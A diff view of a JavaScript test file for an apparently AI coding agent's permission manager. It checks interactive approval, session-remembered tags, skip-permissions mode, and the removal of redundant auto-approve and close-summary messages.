// Force a TTY so askPermission reaches the interactive uiCallbacks path (the
|
|
97
|
+
// non-TTY refusal short-circuits before it).
|
|
98
|
+
async function withTTY(fn) {
|
|
99
|
+
const outPrev = process.stdout.isTTY;
|
|
100
|
+
const inPrev = process.stdin.isTTY;
|
|
101
|
+
process.stdout.isTTY = true;
|
|
102
|
+
process.stdin.isTTY = true;
|
|
103
|
+
try {
|
|
104
|
+
return await fn();
|
|
105
|
+
} finally {
|
|
106
|
+
process.stdout.isTTY = outPrev;
|
|
107
|
+
process.stdin.isTTY = inPrev;
|
|
108
|
+
}
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
// Drives the modal navigation handler with a scripted sequence of actions.
|
|
112
|
+
function uiCallbacksThatPick(actions) {
|
|
113
|
+
return {
|
|
114
|
+
onShowModal: () => {},
|
|
115
|
+
onCloseModal: () => {},
|
|
116
|
+
onAddMessage: () => {},
|
|
117
|
+
onCaptureNavigation: (handler) => {
|
|
118
|
+
// Replay asynchronously so requestPermission has returned its release fn.
|
|
119
|
+
setImmediate(() => { for (const a of actions) handler(a); });
|
|
120
|
+
return () => {};
|
|
121
|
+
},
|
|
122
|
+
};
|
|
123
|
+
}
|
|
124
|
+
|
|
125
|
+
test('interactive "Always" approval pins the tag for the rest of the session', async () => {
|
|
126
|
+
await withTTY(async () => {
|
|
127
|
+
const pm = createPermissionManager(uiStub, {});
|
|
128
|
+
pm.setUICallbacks(uiCallbacksThatPick(['next', 'select'])); // Yes → Always
|
|
129
|
+
const first = await pm.askPermission('exec', 'run once', 'exec');
|
|
130
|
+
assert.strictEqual(first, true);
|
|
131
|
+
assert.ok(pm.state.sessionApprovedTags.has('exec'), 'tag remembered for the session');
|
|
132
|
+
|
|
133
|
+
// Second call is auto-approved by the remembered tag — no modal needed, so a
|
|
134
|
+
// throwing nav handler would never be reached.
|
|
135
|
+
pm.setUICallbacks(uiCallbacksThatPick([])); // would never fire
|
|
136
|
+
const second = await pm.askPermission('exec', 'run again', 'exec');
|
|
137
|
+
assert.strictEqual(second, true);
|
|
138
|
+
});
|
|
139
|
+
});
|
|
140
|
+
|
|
141
|
+
test('interactive "No" denies and does not pin the tag', async () => {
|
|
142
|
+
await withTTY(async () => {
|
|
143
|
+
const pm = createPermissionManager(uiStub, {});
|
|
144
|
+
pm.setUICallbacks(uiCallbacksThatPick(['cancel'])); // Esc → deny
|
|
145
|
+
const ok = await pm.askPermission('file', 'write a file', 'write_file');
|
|
146
|
+
assert.strictEqual(ok, false);
|
|
147
|
+
assert.ok(!pm.state.sessionApprovedTags.has('write_file'));
|
|
148
|
+
});
|
|
149
|
+
});
|
|
150
|
+
|
|
151
|
+
test('clear() resets auto-approve-all back to the gated state', async () => {
|
|
152
|
+
const pm = createPermissionManager(uiStub, {});
|
|
153
|
+
pm.toggleAll();
|
|
154
|
+
assert.strictEqual(pm.state.autoApproveAll, true);
|
|
155
|
+
pm.clear();
|
|
156
|
+
assert.strictEqual(pm.state.autoApproveAll, false);
|
|
157
|
+
assert.strictEqual(pm.state.sessionApprovedTags.size, 0);
|
|
158
|
+
});
|
|
159
|
+
|
|
160
|
+
// ── Per-command auto-approve line is gone by default; grant line stays once,
|
|
161
|
+
// debug breadcrumb preserved. (Drop the redundant "Auto-approved" line.) ──
|
|
162
|
+
|
|
163
|
+
// uiCallbacks that record every committed system message so we can assert the
|
|
164
|
+
// absence of a per-command "Auto-approved" line and the presence of the
|
|
165
|
+
// one-time grant line.
|
|
166
|
+
function recordingUICallbacks(actions = []) {
|
|
167
|
+
const messages = [];
|
|
168
|
+
return {
|
|
169
|
+
messages,
|
|
170
|
+
onShowModal: () => {},
|
|
171
|
+
onCloseModal: () => {},
|
|
172
|
+
onAddMessage: (m) => { messages.push(m); },
|
|
173
|
+
onCaptureNavigation: (handler) => {
|
|
174
|
+
setImmediate(() => { for (const a of actions) handler(a); });
|
|
175
|
+
return () => {};
|
|
176
|
+
},
|
|
177
|
+
};
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
function autoApprovedMessages(messages) {
|
|
181
|
+
return messages.filter((m) => typeof m.content === 'string' && m.content.includes('Auto-approved'));
|
|
182
|
+
}
|
|
183
|
+
|
|
184
|
+
test('default: an auto-approved command emits NO per-command "Auto-approved" line', async () => {
|
|
185
|
+
// exec tier pre-approves the `exec` tag → askPermission auto-approves without
|
|
186
|
+
// a prompt and would have called _emitAutoApproved.
|
|
187
|
+
const pm = createPermissionManager(uiStub, { allowedTiers: ['exec'] });
|
|
188
|
+
const cb = recordingUICallbacks();
|
|
189
|
+
pm.setUICallbacks(cb);
|
|
190
|
+
|
|
191
|
+
assert.strictEqual(await pm.askPermission('exec', 'git status', 'exec'), true);
|
|
192
|
+
assert.strictEqual(await pm.askPermission('exec', 'ls -la', 'exec'), true);
|
|
193
|
+
|
|
194
|
+
assert.deepStrictEqual(
|
|
195
|
+
autoApprovedMessages(cb.messages),
|
|
196
|
+
[],
|
|
197
|
+
'no per-command "Auto-approved: <cmd>" line should reach scrollback by default',
|
|
198
|
+
);
|
|
199
|
+
});
|
|
200
|
+
|
|
201
|
+
test('default: --dangerously-skip-permissions auto-approves with no per-command line', async () => {
|
|
202
|
+
const pm = createPermissionManager(uiStub, { skipPermissions: true });
|
|
203
|
+
const cb = recordingUICallbacks();
|
|
204
|
+
pm.setUICallbacks(cb);
|
|
205
|
+
|
|
206
|
+
assert.strictEqual(await pm.askPermission('exec', 'rm -rf build', 'exec'), true);
|
|
207
|
+
assert.deepStrictEqual(autoApprovedMessages(cb.messages), []);
|
|
208
|
+
});
|
|
209
|
+
|
|
210
|
+
test('uniform across tools: a non-shell auto-approved tool emits no per-command line', async () => {
|
|
211
|
+
const pm = createPermissionManager(uiStub, { allowedTiers: ['fs', 'net'] });
|
|
212
|
+
const cb = recordingUICallbacks();
|
|
213
|
+
pm.setUICallbacks(cb);
|
|
214
|
+
|
|
215
|
+
assert.strictEqual(await pm.askPermission('file', 'write src/a.js', 'write_file'), true);
|
|
216
|
+
assert.strictEqual(await pm.askPermission('net', 'fetch https://x', 'http_get'), true);
|
|
217
|
+
|
|
218
|
+
assert.deepStrictEqual(autoApprovedMessages(cb.messages), []);
|
|
219
|
+
});
|
|
220
|
+
|
|
221
|
+
test('the one-time grant line still fires exactly once at "always", not per command', async () => {
|
|
222
|
+
await withTTY(async () => {
|
|
223
|
+
const pm = createPermissionManager(uiStub, {});
|
|
224
|
+
const cb = recordingUICallbacks(['next', 'select']); // Yes → Always
|
|
225
|
+
pm.setUICallbacks(cb);
|
|
226
|
+
|
|
227
|
+
// First call: interactive → "Always" grant.
|
|
228
|
+
assert.strictEqual(await pm.askPermission('exec', 'run once', 'exec'), true);
|
|
229
|
+
// Subsequent calls: auto-approved by the remembered tag (no modal).
|
|
230
|
+
assert.strictEqual(await pm.askPermission('exec', 'run twice', 'exec'), true);
|
|
231
|
+
assert.strictEqual(await pm.askPermission('exec', 'run thrice', 'exec'), true);
|
|
232
|
+
|
|
233
|
+
const grants = cb.messages.filter(
|
|
234
|
+
(m) => typeof m.content === 'string' && m.content.includes('Auto-approve enabled for'),
|
|
235
|
+
);
|
|
236
|
+
assert.strictEqual(grants.length, 1, 'grant line fires exactly once at grant time');
|
|
237
|
+
assert.deepStrictEqual(
|
|
238
|
+
autoApprovedMessages(cb.messages),
|
|
239
|
+
[],
|
|
240
|
+
'no per-command "Auto-approved" line on the subsequent auto-approved commands',
|
|
241
|
+
);
|
|
242
|
+
});
|
|
243
|
+
});
|
|
244
|
+
|
|
245
|
+
test('--debug: the per-command auto-approve detail is preserved (incl. rule/skip context)', async () => {
|
|
246
|
+
// In simple (--debug) mode dbg.log routes synchronously to writer.scrollback;
|
|
247
|
+
// capture it to assert the breadcrumb (with rule context) is preserved.
|
|
248
|
+
const writer = require('../lib/ui/writer');
|
|
249
|
+
const origScrollback = writer.scrollback;
|
|
250
|
+
const captured = [];
|
|
251
|
+
writer.scrollback = (s) => { captured.push(String(s)); };
|
|
252
|
+
dbg.init({ debug: true });
|
|
253
|
+
try {
|
|
254
|
+
// A per-pattern `allow` rule auto-approves and embeds its `[rule: …]`
|
|
255
|
+
// context into the description handed to _emitAutoApproved.
|
|
256
|
+
const layers = loadRuleLayers(
|
|
257
|
+
{ permissions: { rules: [{ tool: 'exec', match: '*', action: 'allow' }] } },
|
|
258
|
+
null,
|
|
259
|
+
null,
|
|
260
|
+
);
|
|
261
|
+
const pm = createPermissionManager(uiStub, { rules: layers, cwd: process.cwd() });
|
|
262
|
+
const cb = recordingUICallbacks();
|
|
263
|
+
pm.setUICallbacks(cb);
|
|
264
|
+
|
|
265
|
+
const verdict = pm.resolveRule(['exec', 'git status']);
|
|
266
|
+
assert.strictEqual(verdict.decision, 'allow', 'rule should resolve to allow');
|
|
267
|
+
assert.strictEqual(await pm.askPermission('exec', 'git status', 'exec', verdict), true);
|
|
268
|
+
|
|
269
|
+
// The per-command breadcrumb does NOT pollute the chat UI surface — it goes
|
|
270
|
+
// only to debug output.
|
|
271
|
+
assert.deepStrictEqual(autoApprovedMessages(cb.messages), []);
|
|
272
|
+
|
|
273
|
+
const breadcrumb = captured.find((s) => s.includes('auto-approved:'));
|
|
274
|
+
assert.ok(breadcrumb, 'debug output carries the per-command auto-approve breadcrumb');
|
|
275
|
+
assert.match(breadcrumb, /\[rule/, 'rule context preserved in debug detail');
|
|
276
|
+
assert.match(breadcrumb, /git status/, 'the command/description preserved in debug detail');
|
|
277
|
+
} finally {
|
|
278
|
+
dbg.close();
|
|
279
|
+
writer.scrollback = origScrollback;
|
|
280
|
+
}
|
|
281
|
+
});
|
|
282
|
+
|
|
283
|
+
// ── D1 (Output Refactor Phase 2): the permission close-summary is gone ──
|
|
284
|
+
//
|
|
285
|
+
// When a tool is manually approved, the modal close used to commit a redundant
|
|
286
|
+
// `✓ shell: ls` / `✓ file: Edit line N` summary line to scrollback — fully
|
|
287
|
+
// duplicating the execution result line that follows. That echo is removed:
|
|
288
|
+
// the result line (emitted by the agent loop, not the permission gate) is the
|
|
289
|
+
// SINGLE post-execution confirmation, so manual-approve now matches auto-approve.
|
|
290
|
+
|
|
291
|
+
// Callbacks that record both committed system messages AND any post-close
|
|
292
|
+
// summary string handed to onCloseModal, so we can assert the summary is absent.
|
|
293
|
+
function recordingModalCallbacks(actions = []) {
|
|
294
|
+
const messages = [];
|
|
295
|
+
const closeSummaries = [];
|
|
296
|
+
return {
|
|
297
|
+
messages,
|
|
298
|
+
closeSummaries,
|
|
299
|
+
onShowModal: () => {},
|
|
300
|
+
onCloseModal: (summary) => { if (summary !== undefined) closeSummaries.push(summary); },
|
|
301
|
+
onAddMessage: (m) => { messages.push(m); },
|
|
302
|
+
onCaptureNavigation: (handler) => {
|
|
303
|
+
setImmediate(() => { for (const a of actions) handler(a); });
|
|
304
|
+
return () => {};
|
|
305
|
+
},
|
|
306
|
+
};
|
|
307
|
+
}
|
|
308
|
+
|
|
309
|
+
test('D1: a manually-approved (Yes) call emits no close-summary line', async () => {
|
|
310
|
+
await withTTY(async () => {
|
|
311
|
+
const pm = createPermissionManager(uiStub, {});
|
|
312
|
+
const cb = recordingModalCallbacks(['select']); // Yes
|
|
313
|
+
pm.setUICallbacks(cb);
|
|
314
|
+
assert.strictEqual(await pm.askPermission('shell', 'ls', 'exec'), true);
|
|
315
|
+
assert.deepStrictEqual(cb.closeSummaries, [], 'no close-summary committed to scrollback');
|
|
316
|
+
assert.deepStrictEqual(cb.messages, [], 'plain Yes commits nothing to scrollback');
|
|
317
|
+
});
|
|
318
|
+
});
|
|
319
|
+
|
|
320
|
+
test('D1: a denied (Esc → No) call also emits no close-summary line', async () => {
|
|
321
|
+
await withTTY(async () => {
|
|
322
|
+
const pm = createPermissionManager(uiStub, {});
|
|
323
|
+
const cb = recordingModalCallbacks(['cancel']); // Esc → No
|
|
324
|
+
pm.setUICallbacks(cb);
|
|
325
|
+
assert.strictEqual(await pm.askPermission('file', 'write src/a.js', 'write_file'), false);
|
|
326
|
+
assert.deepStrictEqual(cb.closeSummaries, [], 'no close-summary on denial either');
|
|
327
|
+
});
|
|
328
|
+
});
|
|
329
|
+
|
|
330
|
+
test('D1 parity: manual-approve (Yes) and auto-approve produce identical post-exec output', async () => {
|
|
331
|
+
// Manual approve: interactive Yes through the modal.
|
|
332
|
+
const manual = await withTTY(async () => {
|
|
333
|
+
const pm = createPermissionManager(uiStub, {});
|
|
334
|
+
const cb = recordingModalCallbacks(['select']); // Yes
|
|
335
|
+
pm.setUICallbacks(cb);
|
|
336
|
+
assert.strictEqual(await pm.askPermission('shell', 'ls', 'exec'), true);
|
|
337
|
+
return { messages: cb.messages, closeSummaries: cb.closeSummaries };
|
|
338
|
+
});
|
|
339
|
+
|
|
340
|
+
// Auto-approve via the exec tier flag: no modal shown at all.
|
|
341
|
+
const auto = await (async () => {
|
|
342
|
+
const pm = createPermissionManager(uiStub, { allowedTiers: ['exec'] });
|
|
343
|
+
const cb = recordingModalCallbacks();
|
|
344
|
+
pm.setUICallbacks(cb);
|
|
345
|
+
assert.strictEqual(await pm.askPermission('shell', 'ls', 'exec'), true);
|
|
346
|
+
return { messages: cb.messages, closeSummaries: cb.closeSummaries };
|
|
347
|
+
})();
|
|
348
|
+
|
|
349
|
+
// Both commit NOTHING post-execution — the result line (emitted by the agent
|
|
350
|
+
// loop, not the permission gate) is the sole confirmation. This is the proof
|
|
351
|
+
// the close-summary was pure duplication.
|
|
352
|
+
assert.deepStrictEqual(manual, { messages: [], closeSummaries: [] });
|
|
353
|
+
assert.deepStrictEqual(auto, { messages: [], closeSummaries: [] });
|
|
354
|
+
assert.deepStrictEqual(manual, auto, 'manual-approve == auto-approve post-exec output');
|
|
355
|
+
});
|
|
356
|
+
|
|
357
|
+
test('permission tiers map the expected tags', () => {
|
|
358
|
+
assert.ok(TIER_EXEC.includes('exec'));
|
|
359
|
+
assert.ok(TIER_FS.includes('write_file') && TIER_FS.includes('read_file'));
|
|
360
|
+
assert.ok(TIER_NET.includes('http_get') && TIER_NET.includes('download'));
|
|
361
|
+
assert.ok(TIER_SYS.includes('system_info'));
|
|
362
|
+
});
|